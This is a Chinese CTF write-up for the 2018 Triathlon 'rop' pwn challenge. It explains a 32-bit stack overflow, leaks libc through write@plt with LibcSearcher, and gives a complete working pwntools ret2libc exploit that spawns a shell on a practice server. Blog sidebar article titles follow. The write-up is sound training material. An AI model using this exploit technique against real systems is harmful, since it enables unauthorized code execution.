铁人三项(第五赛区)_2018_rop[32位libc泄露]

题目附件

解题步骤:
例行检查,32位,开启了NX保护

试运行一下程序,一开始让我们输入,然后直接输出“Hellow,world”

32位ida载入,首先习惯性的shift+f12查看一下程序里的字符串,没有发现现成的system(‘/bin/sh’)
从main函数开始看程序

第4行的函数是我们的输入点,read的buf长度为0x100,而我们参数的大小只有0x88,可以溢出0x78个长度,足够我们构造rop攻击

没有其他信息了,经典的泄露libc类型的题目

利用思路:

  1. 利用write函数来泄露程序的libc版本
  2. 知道libc版本后去计算程序里的system函数和字符串“/bin/sh”的地址
  3. 覆盖返回地址为system(‘/bin/sh’),获取shell

利用过程:

  1. 泄露libc版本
    这边提一下write函数的原型
ssize_t write(int fd,const void*buf,size_t count);

参数说明:
fd:是文件描述符(write所对应的是写,即就是1)
buf:通常是一个字符串,需要写入的字符串
count:是每次写入的字节数

payload='a'*(0x88+4)+p32(write_plt)+p32(main)+p32(0)+p32(write_got)+p32(4)
r.sendline(payload)
write_addr=u32(r.recv(4))
libc=LibcSearcher('write',write_addr)

这边解释一下第一个payload
首先填充‘a’*(0x88+4)造成溢出,覆盖到返回地址,返回地址填上write函数的plt地址来调用write函数,之后跟上main函数地址(我们要将程序程序重新执行一遍,再次利用输入点来进构造rop)
p32(0)+p32(write_addr)+p32(4)是在设置write函数的参数,对应函数原型看一下,32位程序是4位,所以这边写的4,对应的64位程序是8位

  1. 算出程序的偏移量,计算system和bin/sh的地址
offset=write_addr-libc.dump('write')     #计算偏移量
#偏移量=程序里的函数地址-libc里的函数地址
system_addr=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')
  1. 构造rop获取shell
payload='a'*(0x88+4)+p32(system_addr)+p32(0)+p32(bin_sh)

完整EXP:

from pwn import *
from LibcSearcher import * r=remote('node3.buuoj.cn',27043)
elf=ELF('./2018_rop') write_plt=elf.plt['write']
write_got=elf.got['write']
main=elf.sym['main'] payload='a'*(0x88+4)+p32(write_plt)+p32(main)+p32(0)+p32(write_got)+p32(4)
r.sendline(payload)
write_addr=u32(r.recv(4)) libc=LibcSearcher('write',write_addr)
offset=write_addr-libc.dump('write') system_addr=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh') payload='a'*(0x88+4)+p32(system_addr)+p32(0)+p32(bin_sh) r.sendline(payload)
r.interactive()


匹配到了多个libc版本,选第一个
泄露libc用到了延迟绑定技术,具体的看这个视频介绍

最新文章

  1. web项目中各种路径的获取
  2. Note1: windows下Python IDE(Eclipse+Pydev)
  3. 监狱3D指纹门禁系统解决方案
  4. C# 生成条形码图片,效果不错
  5. [html]选项卡效果
  6. ZOJ 2411 Link Link Look(BFS)
  7. Echarts使用随笔(1)-Echarts中markPoint的使用(静态、动态)-effect
  8. Git 的优点
  9. 【HDOJ】1561 The more, The Better
  10. Java高级特性之反射学习总结
  11. android系统360浏览器使用append动态添加元素出现黑色错乱背景
  12. hightchart or hightstock 格式Y数据
  13. 修改ubuntu的默认python版本
  14. DelphiXE7中创建WebService(服务端+客户端) good
  15. Instruments使用实战
  16. MySQL开发总结(有点长..耐心看)
  17. JavaScript保留关键字2。
  18. MTF测试图卡规格
  19. http协议、web服务器、并发服务器(上)
  20. knockoutjs关于ko.bindingHandlers的updata订阅

热门文章

  1. Hardware assisted virtualization and data execution protection must be enabled in the BIOS. See https://docs.docker.com/docker-for-windows/troubleshoot/#virtualization
  2. 唯一id生成器
  3. Linux设置默认的声卡
  4. DirectX12 3D 游戏开发与实战第十一章内容
  5. VSCode + PicGo + Github + jsDelivr 搭建稳定快速高效图床
  6. day14 linux三剑客之sed命令
  7. flink01--------1.flink简介 2.flink安装 3. flink提交任务的2种方式 4. 4flink的快速入门 5.source 6 常用算子(keyBy,max/min,maxBy/minBy,connect,union,split+select)
  8. 【leetcode】36. Valid Sudoku(判断能否是合法的数独puzzle)
  9. Gradle插件详解
  10. D3学习-加载本地数据